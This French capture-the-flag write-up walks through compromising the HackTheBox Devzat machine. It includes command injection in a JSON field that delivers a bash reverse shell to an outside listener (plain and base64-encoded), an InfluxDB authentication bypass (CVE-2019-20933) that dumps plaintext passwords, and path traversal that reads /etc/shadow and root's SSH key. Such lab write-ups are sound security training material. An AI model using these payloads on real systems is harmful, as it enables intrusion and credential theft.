> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md).

# Compte rendu HackTheBox de Devzat

{% embed url="<https://app.hackthebox.com/machines/398>" %}

{% hint style="warning" %}
**Compétences :**

* Répertoire de fuzzing
* Injection Web (RCE)
* Exploitation abusive d’InfluxDB (CVE-2019-20933)
* Exploitation abusive de la commande /file du chat Devzat (élévation de privilèges)
  {% endhint %}

## Reconnaissance :

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/2c07eefd2f6ae7c2fb5de08c4defbfe5291c0a01" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/f2d4d992cb01b429b207aa42eaca72c761c1d82d" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts
```

<figure><img src="/files/c99f3b5d1d848e689f02530b4d628ae26e37f6c6" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

En utilisant la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers (22.80.8000)

<figure><img src="/files/a4d9c302acf0c2c110587c3af0f57a3392203cd4" alt="" width="563"><figcaption></figcaption></figure>

Scan de version des ports avec Nmap :

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted
```

<figure><img src="/files/fdeee472f26a4a99ee91712f2df349a2bc0c6a5d" alt=""><figcaption></figcaption></figure>

Pour résoudre les noms de domaine en adresses IP via DNS, le nom de domaine associé à son adresse IP est inséré dans le `/etc/hosts` fichier :

<figure><img src="/files/b5597e08bbeb75f516e9249230300ce07e86bdb1" alt="" width="539"><figcaption></figcaption></figure>

### Port 80

<figure><img src="/files/8dc34ce9811a0672c0c6c3bcc57581a92ff973d0" alt=""><figcaption></figcaption></figure>

En utilisant `whatweb`, nous trouvons un e-mail associé au site : `patrick@devzat.htb`.

<figure><img src="/files/79b4f27135e4010135d24082212f3406e1930168" alt=""><figcaption></figcaption></figure>

L’application nous informe également que nous pouvons utiliser le port 8000 pour nous connecter via SSH à « chat » :

```bash
ssh -l [username] devzat.htb -p 8000 
```

<figure><img src="/files/0a7d7a9e5bc84e689aaafad5d8bf64762444e518" alt=""><figcaption></figcaption></figure>

### Port 8000 :

Nous essayons de nous connecter, mais un problème survient car une clé SSH est requise :

```bash
ssh -l jordan devzat.htb -p 8000
```

<figure><img src="/files/8012488d7b3500ceab564dc8b657444376f66348" alt=""><figcaption></figcaption></figure>

**Forçage temporaire de l’utilisation de SSH-RSA :** Nous spécifions le type de clé SSH à utiliser pour cette session avec l’option suivante :

```bash
ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa
```

<figure><img src="/files/120d5a6f21df6170c16622f5a04945ab70704415" alt=""><figcaption></figcaption></figure>

### **Projet Devzat (chat SSH) :**

{% hint style="info" %}
Devzat est un serveur SSH personnalisé qui se connecte à un chat au lieu d’un invite de commandes. Comme les applications SSH sont disponibles sur toutes les plateformes (y compris les téléphones), vous pouvez vous connecter à Devzat depuis n’importe quel appareil.
{% endhint %}

Voici une liste des commandes qui peuvent être exécutées dans ce chat :

<figure><img src="/files/2a1053de0d5e15c9347d59a1fc928f17fb36da71" alt=""><figcaption></figcaption></figure>

### Fuzzing **de répertoires :**

Nous utilisons `gobuster` pour lister les répertoires du site :

```bash
gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Aucun résultat intéressant n’a été trouvé.

<figure><img src="/files/0914f7f7c5526330a2ae6377718c0f444c26cffc" alt=""><figcaption></figcaption></figure>

### **Fuzzing de sous-domaines**

Nous recherchons des sous-domaines avec `gobuster`:

```bash
gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302"
```

Nous découvrons le `pets.devzat.htb` sous-domaine et l’ajouter au `/etc/hosts` .

<figure><img src="/files/18d88bdc1d26ff8fb6fa3c3fec1db36579ce7ab3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5b9551488bafdd6ce69b0c70436fd7f9f0f56474" alt=""><figcaption></figcaption></figure>

## **Vulnérabilité JSON (RCE) :**

<figure><img src="/files/160d140d34c8c48059cc72cd4830a6ceb3f1ac0e" alt=""><figcaption></figcaption></figure>

Nous avons la possibilité d’ajouter des « pets » avec leur espèce, ce qui permet une injection JSON.

<figure><img src="/files/0485a937e5962dd01654c3e7ba0d9e140cc587fb" alt=""><figcaption></figcaption></figure>

Nous interceptons les requêtes avec Burp Suite et essayons de manipuler la requête en ajoutant une entrée avec le nom et l’espèce :

<figure><img src="/files/d0e0d5acde3440f1089c54c0a33869d50a50f0bc" alt=""><figcaption></figcaption></figure>

Cette entrée est interprétée, ce qui permet une injection.

```json
{
    "Nom": "jordan",
    "Espèce": "jordan"
}
```

<figure><img src="/files/7a23d4846786cfbaeb82ea61b2a7179d4a7e3a0c" alt=""><figcaption></figcaption></figure>

Nous écoutons les paquets ICMP pour observer les communications et tester des injections de commandes :

```bash
sudo tcpdump -i tun0 icmp
```

Nous recevons un ping en retour, ce qui confirme la possibilité d’une exécution de code à distance.

<figure><img src="/files/89478fb7ab6f22ffa079c7f03e61e68cd9649ffe" alt=""><figcaption></figcaption></figure>

Ensuite, nous envoyons une requête avec `curl` à notre serveur Python et recevons également une requête, ce qui confirme la vulnérabilité d’exécution de code à distance.

```bash
{
    "Nom": "jordan",
    "Espèce": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\""
}
```

<figure><img src="/files/b975e409849b8332debe91c2d25ea2d4cfacb4e7" alt="" width="502"><figcaption></figcaption></figure>

### Shell inversé

Nous essayons de créer un shell inversé :

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261"
```

Cependant, une erreur de sortie se produit.

<figure><img src="/files/f3c23374d3e298ed6939989e98a12324744caf5a" alt=""><figcaption></figcaption></figure>

**Solution à l’erreur (reverse shell) :** Pour résoudre cette erreur, nous créons un fichier HTML contenant le reverse shell, que nous encodons en base64 :

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.12/443 0>&1
```

Nous convertissons ce fichier en base64 :

```bash
base64 -w 0 index.html
```

<figure><img src="/files/db53b514ac08e22e2f4d05986412fe759745f6ce" alt="" width="563"><figcaption></figcaption></figure>

Dans la requête, nous exécutons l’echo de la chaîne base64 encodée et la décodons avant d’exécuter le shell :

{% code overflow="wrap" %}

```bash
{
    "Nom": "jordan",
    "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash"
}
```

{% endcode %}

Une fois de plus, nous écoutons le port 443 et obtenons un shell inversé.

<figure><img src="/files/09ccc901bd853ae340e3373b6e9477e794ac8ee4" alt=""><figcaption></figcaption></figure>

#### **Gestion du terminal :**

Pour stabiliser notre session, nous utilisons les commandes suivantes :

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Élévation de privilèges <a href="#privilege-escalation" id="privilege-escalation"></a>

Nous constatons le besoin d’obtenir des privilèges plus élevés. Nous devons basculer pour obtenir l’accès au `catherine` compte utilisateur.

<figure><img src="/files/ae2a2936531cf30195a85c6c8bd57f2823445a9f" alt="" width="563"><figcaption></figcaption></figure>

#### Identification des ports ouverts

Tout d’abord, nous observons les ports ouverts en interne à l’aide de la commande suivante :

```bash
netstat -nltp
```

Les ports ouverts sont :

* 8086
* 8443
* 5000

<figure><img src="/files/5a9931f353d78e22e510a5c75cee5115f15221c7" alt=""><figcaption></figcaption></figure>

### Transfert de ports (SSH)

Nous redirigeons les ports internes vers notre machine d’attaque en utilisant la clé privée de l’utilisateur et en appliquant les bonnes permissions :

```bash
chmod 600 id_rsa
```

<figure><img src="/files/e1e70ea381412affdb98836292f8beda29ab1801" alt=""><figcaption></figcaption></figure>

```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```

Nous utilisons ensuite `nmap` pour analyser les ports redirigés :

```bash
nmap -sCV -p5000,8443,8086 localhost -oN targeted
```

### Port 5000 :

<figure><img src="/files/e16437f56bf43764d9e513a2a03ebb43f86aa032" alt=""><figcaption></figcaption></figure>

Nous notons que ce port est lié au même service que celui trouvé sur le port 8000, ce qui ne nous donne pas de voie d’exploitation supplémentaire.

<figure><img src="/files/8fc4803785c1b610124f9ccd08e0d659d7e04483" alt=""><figcaption></figcaption></figure>

### **Port 8086 (InfluxDB)**

Le service sur le port 8086 est InfluxDB, version 1.7.5. Nous identifions une vulnérabilité d’exécution de code à distance (RCE) dans InfluxDB :

<figure><img src="/files/27b51688eec85c97623e84807126b09deb3d1132" alt=""><figcaption></figcaption></figure>

**Vulnérabilité :** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933)

{% embed url="<https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933>" %}

{% hint style="info" %}
Cette vulnérabilité permet de contourner l’authentification en utilisant un jeton JWT dont le `SharedSecret` est vide (alias secret partagé), ce qui nous donne accès à la base de données.
{% endhint %}

<figure><img src="/files/4868a093f4a4b23ebc93ca1459aa8438f4c6a68d" alt=""><figcaption></figcaption></figure>

#### Accès à la base de données

Une fois connectés à InfluxDB, nous listons les bases de données disponibles :

```sql
SHOW DATABASES;
```

Nous sélectionnons la `devzat` base de données et explorons les données utilisateur. Nous commençons par lister les « mesures » (tables) :

```sql
SHOW MEASUREMENTS;
```

Le **`utilisateur`** contient des informations utiles. Pour explorer les colonnes de cette mesure, nous exécutons :

```sql
SHOW FIELD KEYS FROM "user";
```

Nous affichons ensuite les 10 premiers résultats pour la `utilisateur` table :

```sql
SELECT * FROM "user" LIMIT 10;
```

<table data-header-hidden><thead><tr><th width="357"></th><th></th></tr></thead><tbody><tr><td><strong>mot de passe</strong></td><td><strong>le nom d'utilisateur</strong></td></tr><tr><td>WillyWonka2021</td><td>wilhelm</td></tr><tr><td>woBeeYareedahc7Oogeephies7Aiseci</td><td>catherine</td></tr><tr><td>RoyalQueenBee$</td><td>charles</td></tr></tbody></table>

Le mot de passe de l’utilisateur catherine est **`woBeeYareedahc7Oogeephies7Aiseci`**, ce qui nous permet de récupérer le **flag** utilisateur.

### Drapeau user.txt :)

Nous parvenons à obtenir l’accès et à pivoter en tant que `catherine`.

<figure><img src="/files/dfccce6322edf6573fdce41ffbbd76305729f57f" alt="" width="563"><figcaption></figcaption></figure>

### Port 8443 (Devzat - production)

Le port 8443 est dédié à une instance de Devzat en production. Nous notons qu’un `le fichier` paramètre liste tous les fichiers du système en tant que root. Cependant, l’accès à cette fonctionnalité est protégé par un mot de passe.

<figure><img src="/files/084c5cdcf69badb6fc34d3d5f95f497d2db5832d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/435b4e5e43d985a2e9aef6bd45567249a3960e60" alt=""><figcaption></figcaption></figure>

Nous essayons d’utiliser le mot de passe de catherine, mais cela échoue. Nous devons maintenant rechercher les fichiers que catherine peut lire sur le système.

<figure><img src="/files/694b8c7f7eccbf2bc0a12d4250e68c72963679fc" alt="" width="538"><figcaption></figcaption></figure>

### Recherche des fichiers accessibles par Catherine

Nous utilisons la commande suivante pour rechercher tous les fichiers lisibles par catherine :

```bash
find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc"
```

Nous trouvons deux `.zip` fichiers de sauvegarde :

* `/var/backups/devzat-main.zip`
* `/var/backups/devzat-dev.zip`

Nous téléchargeons le `devzat-dev.zip` fichier de sauvegarde et filtrons son contenu à la recherche de mots de passe. Nous trouvons un mot de passe utile : **`CeilingCatStillAThingIn2021?`**.

<figure><img src="/files/8761dc5976b083fe5a8e369959abd37577db17f8" alt=""><figcaption></figcaption></figure>

Nous essayons ensuite d’utiliser ce mot de passe pour accéder au `/etc/shadow` fichier via le `le fichier` paramètre :

```bash
/file /etc/shadows CeilingCatStillAThingIn2021?
```

Bien que le mot de passe soit correct, un **chemin de traversée** est nécessaire pour obtenir un accès complet. Nous utilisons la commande suivante pour naviguer dans le système de fichiers :

<figure><img src="/files/e0e57383f5cd3b488fca4ad9982e62ec8feb524b" alt=""><figcaption></figcaption></figure>

```bash
/file ../../../../etc/shadow CeilingCatStillAThingIn2021?
```

Nous parvenons à afficher le `/etc/shadow` fichier en tant que root.

<figure><img src="/files/46626f87474d09232f20a5903ef8d26e925b17db" alt=""><figcaption></figcaption></figure>

### Accès SSH en tant que root

Enfin, nous utilisons un chemin de traversée supplémentaire pour accéder à la clé SSH root :

```bash
/file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021?
```

<figure><img src="/files/743553fe8b4159b9797718aafe3e1928d46a0192" alt="" width="563"><figcaption></figcaption></figure>

Nous téléchargeons la clé SSH et nous nous connectons en tant que root.

<figure><img src="/files/b44b9130b3a7ec1d33c48e3c0dad4ad22ef21ba1" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/c8e3fc4825a33f2df09eeb3c9784b90f322274b6" alt="" width="470"><figcaption></figcaption></figure>

<figure><img src="/files/4da8dd20bc7025027914dc52b1fae0351b5b3f4f" alt="" width="542"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
